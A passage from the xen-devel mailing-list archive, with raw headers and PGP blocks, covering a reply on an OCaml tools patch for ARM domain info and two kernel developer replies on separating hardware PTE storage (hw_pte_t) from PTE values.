Message-ID: <2d70c2d9-f3d9-4591-82cc-310213c9083d@vates.tech>
Subject: Re: [PATCH 2/2] tools/ocaml: Fill arch_config for ARM in
 domain_getinfo{,list}()
References: <20260728154830.67734-1-andrew.cooper3@citrix.com>
 <20260728154830.67734-3-andrew.cooper3@citrix.com>
In-Reply-To: <20260728154830.67734-3-andrew.cooper3@citrix.com>

--------------EqBmYZTjneX4A50KSdmRRxR0
Content-Type: multipart/mixed; boundary="------------y2mSGaPn13FBOXl0FV0VSMQv"

--------------y2mSGaPn13FBOXl0FV0VSMQv
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMjgvMDcvMjAyNiDDoCAxNzo1MCwgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBG
cm9tOiBKdWxpYW4gVmV0dGVyIDxqdWxpYW4udmV0dGVyQHZhdGVzLnRlY2g+DQo+IA0KPiBB
ZGQgdGhlIG1pc3NpbmcgQVJNIGxvZ2ljLCBwb3B1bGF0aW5nIHhlbl9hcm1fYXJjaF9kb21h
aW5jb25maWcNCj4gZnJvbSB0aGUgcmF3IHhjX2RvbWFpbmluZm9fdCB0aGUgc2FtZSB3YXkg
dGhlIHg4NiBicmFuY2ggZG9lc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Cj4gICANCj4gICAJLyoNCj4gICAJICogZW11bGF0aW9u
X2ZsYWdzOiB4ODZfYXJjaF9lbXVsYXRpb25fZmxhZ3MgbGlzdDsNCg0KVGVkZHkNCg==
--------------y2mSGaPn13FBOXl0FV0VSMQv
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+sU0I8xsAEQEAAc0kVGVkZHkgQXN0aWUgPHRlZGR5LmFzdGllQHZhdGVz
LnRlY2g+wsENBBMBCAA3FiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sK8FCQWj
moACGwMECwkIBwUVCAkKCwUWAgMBAAAKCRBmD6nRAsvP0ID6DACGOktArFbLKHNz
uyOVCskwfUZPla6Zpd3GZ8r61SrAKePIr2BnpgPkd0hV3bSRkRLIrgjzR2NRCzfp
0x0Hfuhc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7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------y2mSGaPn13FBOXl0FV0VSMQv--

--------------EqBmYZTjneX4A50KSdmRRxR0--

--------------PFWvAyowB9eOfZItKnuErFLi
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpp6L8FAwAAAAAACgkQZg+p0QLLz9BB
/Av+NI9l3NzyWOP8nBphMOK3XrHD+sbDwbIJa4EMoL36p49hNcV6AAWfz4KImDs5a5R93fzZeD+9
cv0XqbgkcsngCi1lOOQoKYwrvAfgIW42Q7HOJwZ/+isk8bAdgY1qYEzt9wl5BgTEAq0ltrtlXfng
9vIeWmkLk+R1saTNI0s0mY42N+dzFrsg8zVWFbONf+aePtdzHImA3SU9CzErP1xbQ5KGVQDET8lO
NPEdZl2FF9bnDJJP/UM5iKGT+XG2S8AzS7q6puXFebfpIvD/uv8AeRUlh797yI9pUvS6K8nFeCdS
JRxf2sAwHAv/5rTPchv7qu/+xcwaIB9Hhf9Xq79BFH+kz4/qDrPNlaPkSS3VfUL5HeyLyo/RVDhu
70GUWaHOIazpc4S3yZTXhcfz28bF37KKTgYIuqmqgV5yEuzVmyWhLfV+UXL2EIUuwhFap+zJuovk
N253hPF4tR7UUDb9ja/2DZD6eor1r33FInZE9ReqYDJl/mphoIpQh1XyDmY7
=Ct9x
-----END PGP SIGNATURE-----

--------------PFWvAyowB9eOfZItKnuErFLi--


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:51:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:51:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375577.1622708 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ow-0004m4-Oj; Wed, 29 Jul 2026 11:51:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375577.1622708; Wed, 29 Jul 2026 11:51:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2ow-0004lx-Lz; Wed, 29 Jul 2026 11:51:34 +0000
Received: by outflank-mailman (input) for mailman id 1375577;
 Wed, 29 Jul 2026 11:51:33 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wp2ov-0004lr-FB
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:51:33 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2ou-0003Eq-Qw
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:51:32 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
 id 6a69e93a-bab6-0a2a0a5309dd-0a2a450cb33c-38
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:51:32 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a69e943-f479-0a2a450c0019-aceafc1fce0e-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:51:32 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 514454367E;
 Wed, 29 Jul 2026 11:51:30 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 231861F000E9;
 Wed, 29 Jul 2026 11:51:18 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785325890;
	bh=UhKC2rWDc0nqivSNnMMapSrop+/S8ksf4kWUVmW36RU=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=j/rdTFQ5D+V9nF350bJFVbABN4LrkdsttdXl0LTG5diGS3qfpE1d+CHl9CbSex6ib
	 zqh8hsz9l3VaQPnS5omwpQ4W93RN11H6fIAUPogAreBHTqCDzslNEnArGZn7XQd2Nh
	 L60L5+Er4w8vr9eNKEbKvwf0I2mjYLbJRtU3mP4hA552hqDOeaUCdQ3coC6W+Yrxob
	 0GfjMAvTYGFs0eYP7gECmOhuDEd4qb4E6ZRFuvxkWAYMyVwJ44RcFC5R45zVPN0jpd
	 8duzo9AGfdWaObfcg4y6i3UpveG99T2I3kDQU7SMr0C91jCQDkN2f+1bryJUJIPF5z
	 SyB3dhLtFqa2g==
Message-ID: <26b1cb23-bb68-45c4-a28f-698b34fa3aed@kernel.org>
Date: Wed, 29 Jul 2026 13:51:17 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: Alexander Gordeev <agordeev@linux.ibm.com>
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
 <e3b6dd13-2cea-4dc5-9038-a3abde71ec10-agordeev@linux.ibm.com>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zYvAFJxCBY9Tr1xZgcESmxVNI/0ffzE/ZQOiHJl6mGkmA1R7/uUpiCjJ
 dBrn+lhhOYjjNefFQou6478faXE6o2AhmebqT4KiQoUQFV4R7y1KMEKoSyy8hQaK1umALTdL
 QZLQMzNE74ap+GDK0wnacPQFpcG1AE9RMq3aeErY5tujekBS32jfC/7AnH7I0v1v1TbbK3Gp
 XNeiN4QroO+5qaSr0ID2sz5jtBLRb15RMre27E1ImpaIv2Jw8NJgW0k/D1RyKCwaTsgRdwuK
 Kx/Y91XuSBdz0uOyU/S8kM1+ag0wvsGlpBVxRR/xw/E8M7TEwuCZQArqqTCmkG6HGcXFT0V9
 PXFNNgV5jXMQRwU0O/ztJIQqsE5LsUomE//bLwzj9IVsaQpKDqW6TAPjcdBDPLHvriq7kGjt
 WhVhdl0qEYB8lkBEU7V2Yb+SYhmhpDrti9Fq1EsmhiHSkxJcGREoMK/63r9WLZYI3+4W2rAc
 UucZa4OT27U5ZISjNg3Ev0rxU5UH2/pT4wJCfxwocmqaRr6UYmrtZmND89X0KigoFD/XSeVv
 jwBRNjPAubK9/k5NoRrYqztM9W6sJqrH8+UWZ1Idd/DdmogJh0gNC0+N42Za9yBRURfIdKSb
 B3JfpUqcWwE7vUaYrHG1nw54pLUoPG6sAA7Mehl3nd4pZUALHwARAQABzS5EYXZpZCBIaWxk
 ZW5icmFuZCAoQ3VycmVudCkgPGRhdmlkQGtlcm5lbC5vcmc+wsGQBBMBCAA6AhsDBQkmWAik
 AgsJBBUKCQgCFgICHgUCF4AWIQQb2cqtc1xMOkYN/MpN3hD3AP+DWgUCaYJt/AIZAQAKCRBN
 3hD3AP+DWriiD/9BLGEKG+N8L2AXhikJg6YmXom9ytRwPqDgpHpVg2xdhopoWdMRXjzOr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tWyT9Ir+lYlX9efqh7mOY
 qIws/H2t
In-Reply-To: <e3b6dd13-2cea-4dc5-9038-a3abde71ec10-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785325892-008CDA5B-AACC47B5/0/0
X-purgate-type: clean
X-purgate-size: 2235

On 7/29/26 13:44, Alexander Gordeev wrote:
> On Wed, Jul 29, 2026 at 01:05:35PM +0200, David Hildenbrand (Arm) wrote:
>> On 7/29/26 12:13, Alexander Gordeev wrote:
>>> ...
>>>
>>> May be we need the generic hw_pte_t implementation as { pte_t pte; }
>>> right away?
>>
>> Indeed, that makes sense. We just need a way for the architecture to opt-in that
>> it did the conversion.
>>
>>>
>>> Also, can you envision a case when sizeof(pte_t) != sizeof(hw_pte_t)?
>>> If not, the compile-time check is worth adding.
>>
>> That wouldn't work as is. We'd have to intercept ptep++ and instead have a
>> helper to advance the ptep pointer.
> 
> I think I am missing the point. That is my takeaway from your previous mail:
> https://lore.kernel.org/lkml/31d36023-d728-4eee-90f8-158c7066f565@kernel.org/
> 
> <quote>
>>    {
>>       page_table_check_ptes_set(mm, addr, ptep, pte, nr);
>>       for (;;) {
>>               set_pte(ptep, pte);
>>               if (--nr == 0)
>>                       break;
>>   -           ptep++;
>>   +           ptep = hw_pte_next(ptep);
> 
> We should really just let ptep++ work as before.
> 
>>               pte = pte_next_pfn(pte);
>>       }
>>    }
> </quote>
> 
> So are we going after hw_pte_next(ptep) or ptep++?

As I said "That wouldn't work as is. We'd have ".

So in this series here we are clearly going for ptep++ and sizeof(pte_t) ==
sizeof(hw_pte_t).

Because otherwise it wouldn't work.

> 
>> One idea for that would be to let the compiler catch that by marking hw_pte_t an
>> undefined struct (unknown size), such that the compiler would indicate any usage
>> of ptep++ properly.
> 
> What is the purpose of that? I mean when pte_t vs hw_pte_t uses are sorted
> out what is the benefit of preventing hw_ptep++?

One thing I could pull out of my magic hat is that you might be able to decide
at runtime the size of your underlying page table entries.

E.g., have 128bit pteval, but allow running on HW with either 64bit ptes or
128bit ptes.

I'm sure there are more challenges to that, but that's an easy thing to imagine.

But again, the focus of this patch set here is ptep++ to just keep working.

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:52:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:52:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375583.1622717 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2qG-0005GZ-2F; Wed, 29 Jul 2026 11:52:56 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375583.1622717; Wed, 29 Jul 2026 11:52:56 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2qF-0005GS-Vk; Wed, 29 Jul 2026 11:52:55 +0000
Received: by outflank-mailman (input) for mailman id 1375583;
 Wed, 29 Jul 2026 11:52:55 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wp2qF-0005GG-6g
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:52:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2qE-00ECQJ-Fy
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:52:54 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
 id 6a69e991-2eae-0a2a0a5409dd-0a2a450293ec-18
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:52:54 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a69e995-6ca4-0a2a45020019-ac6904feb062-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:52:54 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 95C6C60A5E;
 Wed, 29 Jul 2026 11:52:52 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id 7B8671F000E9;
 Wed, 29 Jul 2026 11:52:40 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785325972;
	bh=8F6WAbJF8b0+/lVo//yrlr1XJ8a9Kbyft0CZ3XPUVYk=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=RAKfZ2hlnqur+lPLRDZhd6ll5wLFkTHMz4LI8eJaulXjieYAenmJmk4PMTQBKFZ/U
	 pyK0RNiqn70Ad+1GSsmrI6B8F0wYm30sXDWHDNst0Az9PbGi+TL/KORuZnT9sqQo9u
	 Rzh1V/+oM6ZDs940TjFOqs5yohNNslJjyJ8iJeoA7WeF7cquNvL+t9q9S4Ic9dWWSq
	 4Iq5kwkGBW1Jk7vbZTiYIDehoEYYdr2IUaB8x6zsF7dvrh9VnNBcSXaGSuIBDNZs7f
	 4jIUxCejHJULeLyIkGbqfPXxbWzy7/VjVvik+QZrAxtb829aluzCnGwByuZkktgqQX
	 wmpaiiZ29+lbg==
Message-ID: <78a0402d-5436-4aab-a704-90fab56eec50@kernel.org>
Date: Wed, 29 Jul 2026 13:52:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: Muhammad Usama Anjum <usama.anjum@arm.com>,
 Alexander Gordeev <agordeev@linux.ibm.com>
Cc: Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
 <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
 <46319967-0338-4532-b953-dbea77084fe3@arm.com>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zYvAFJxCBY9Tr1xZgcESmxVNI/0ffzE/ZQOiHJl6mGkmA1R7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QWcwRuj1m73D
 sq8DEFBdZ5eEkj1dCyx+t/ga6x2rHyc8Sl86oK1tvAkwBNsfKou3v+jP/l14a7DGBvrmlYjO
 59o3t6inu6H7pt7OL6u6BQj7DoMAEQEAAcLBfAQYAQgAJgIbDBYhBBvZyq1zXEw6Rg38yk3e
 EPcA/4NaBQJonNqrBQkmWAihAAoJEE3eEPcA/4NaKtMQALAJ8PzprBEXbXcEXwDKQu+P/vts
 IfUb1UNMfMV76BicGa5NCZnJNQASDP/+bFg6O3gx5NbhHHPeaWz/VxlOmYHokHodOvtL0WCC
 8A5PEP8tOk6029Z+J+xUcMrJClNVFpzVvOpb1lCbhjwAV465Hy+NUSbbUiRxdzNQtLtgZzOV
 Zw7jxUCs4UUZLQTCuBpFgb15bBxYZ/BL9MbzxPxvfUQIPbnzQMcqtpUs21CMK2PdfCh5c4gS
 sDci6D5/ZIBw94UQWmGpM/O1ilGXde2ZzzGYl64glmccD8e87OnEgKnH3FbnJnT4iJchtSvx
 yJNi1+t0+qDti4m88+/9IuPqCKb6Stl+s2dnLtJNrjXBGJtsQG/sRpqsJz5x1/2nPJSRMsx9
 5YfqbdrJSOFXDzZ8/r82HgQEtUvlSXNaXCa95ez0UkOG7+bDm2b3s0XahBQeLVCH0mw3RAQg
 r7xDAYKIrAwfHHmMTnBQDPJwVqxJjVNr7yBic4yfzVWGCGNE4DnOW0vcIeoyhy9vnIa3w1uZ
 3iyY2Nsd7JxfKu1PRhCGwXzRw5TlfEsoRI7V9A8isUCoqE2Dzh3FvYHVeX4Us+bRL/oqareJ
 CIFqgYMyvHj7Q06kTKmauOe4Nf0l0qEkIuIzfoLJ3qr5UyXc2hLtWyT9Ir+lYlX9efqh7mOY
 qIws/H2t
In-Reply-To: <46319967-0338-4532-b953-dbea77084fe3@arm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785325974-F38BC2AC-862DC83F/0/0
X-purgate-type: clean
X-purgate-size: 683

On 7/29/26 13:33, Muhammad Usama Anjum wrote:
> On 29/07/2026 12:05 pm, David Hildenbrand (Arm) wrote:
>> On 7/29/26 12:13, Alexander Gordeev wrote:
>>> ...
>>>
>>> May be we need the generic hw_pte_t implementation as { pte_t pte; }
>>> right away?
>>
>> Indeed, that makes sense. We just need a way for the architecture to opt-in that
>> it did the conversion.
> Yeah and architecture cannot opt-in until its converted. So we should leave
> it to architecture to define hw_pte_t.

In the context of this series, we should have something like an
CONFIG_ARCH_HAS_XXX and select the definition based on that.

So we'd have a generic variant.

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:57:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:57:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375594.1622726 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2v1-0006IA-KX; Wed, 29 Jul 2026 11:57:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375594.1622726; Wed, 29 Jul 2026 11:57:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2v1-0006I3-HD; Wed, 29 Jul 2026 11:57:51 +0000
Received: by outflank-mailman (input) for mailman id 1375594;
 Wed, 29 Jul 2026 11:57:50 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wp2v0-0006Df-5m
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:57:50 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2uz-00EJA5-96
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:57:49 +0200
Received: from [10.42.69.4] (helo=localhost)
